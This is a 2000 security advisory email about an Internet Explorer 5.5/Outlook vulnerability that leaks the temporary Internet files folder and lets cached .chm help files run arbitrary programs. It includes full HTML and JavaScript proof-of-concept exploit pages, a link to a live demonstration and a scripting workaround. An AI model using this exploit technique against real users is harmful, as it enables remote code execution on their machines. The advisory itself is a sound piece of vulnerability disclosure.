Subject: [NT] IE vulnerability allows execution of arbitrary programs (.chm files and temporary file folder)
Date: Mon, 20 Nov 2000 23:56:27 +0100


  IE vulnerability allows execution of arbitrary programs (.chm files and
temporary file folder)
------------------------------------------------------------------------

SUMMARY

There is a security vulnerability in IE 5.5, Outlook and Outlook Express
which allows executing arbitrarily programs using .chm files and also
reveals the location of the temporary internet files folder. This may
enable attackers to gain full control over a target user's computer.

DETAILS

Vulnerable systems:
IE 5.5/Outlook/Outlook Express

A
<http://www.securiteam.com/windowsntfocus/IE_5_allows_executing_arbitrary_programs_via__chm_files.html>
 similar vulnerability regarding .chm files was reported some time ago and Microsoft fixed it by
 allowing .chm files to run programs only if the .chm was loaded from the local file system.
However, it is possible to find the temporary Internet files folder and locate the locally stored .chm file.
The temporary folders normally have random names.

The following HTML code:
<OBJECT DATA="http://EXAMPLE.COM/chmtemp.html" TYPE="text/html" WIDTH=200
HEIGHT=200>

Where EXAMPLE.COM is a web server or alias that is different from the web
server from which the HTML page is loaded may reveal one of the temporary
Internet files folders thru "document.URL". Once a temporary Internet
files folder name is known it is possible to cache a .chm in any temporary
Internet files folder and then use window.showHelp() to execute it.

There are other ways to execute programs once a temporary Internet files
folder is known and the document is cached in it but showHelp() seems to
be the simplest. If the demonstration (a link is provided below) does not
work wait a minute and reload the page or increase the number of
"chm*.chm" files in <IMG> and showHelp() or increase the time to wait if
it is insufficient to download the chm files.

Exploit:
---------chmtempmain.html------------------------------------------
<IMG SRC="chm1.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm2.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm3.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm4.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm5.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm6.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm7.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm8.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm9.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm10.chm" WIDTH=1 HEIGHT=1>
<BR>
The object below must be loaded from a server with name different from
the parent document -
it may be the same server but use the IP address or another alias.
<BR>
If this does not work try increasing the number of "chm*.chm" in IMG and
showHelp.
<BR>
<OBJECT DATA="http://guninski.com/chmtemp.html" TYPE="text/html"
WIDTH=200 HEIGHT=200>
---------------------------------------------------------------------

--------chtmtemp.html------------------------------------------------
<SCRIPT>
function g()
{
s=document.URL;
path=s.substr(0,s.lastIndexOf("\\"));
path=unescape(path);
alert("One of your temp files directory is: "+path);
window.showHelp(path+"\\chm1[1].chm");
window.showHelp(path+"\\chm2[1].chm");
window.showHelp(path+"\\chm3[1].chm");
window.showHelp(path+"\\chm4[1].chm");
window.showHelp(path+"\\chm5[1].chm");
window.showHelp(path+"\\chm6[1].chm");
window.showHelp(path+"\\chm7[1].chm");
window.showHelp(path+"\\chm8[1].chm");
window.showHelp(path+"\\chm9[1].chm");
window.showHelp(path+"\\chm10[1].chm");

}
setTimeout("g()",5000); // if you are on a slow internet connection you
must increase the delay
</SCRIPT>
---------------------------------------------------------------------

Workaround:
Disable Active Scripting

Demonstration:
A live demonstration is available at:
 <http://www.guninski.com/chmtempmain.html>
http://www.guninski.com/chmtempmain.html

ADDITIONAL INFORMATION

The information has been provided by  <mailto:guninski@GUNINSKI.COM>
Georgi Guninski.

========================================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.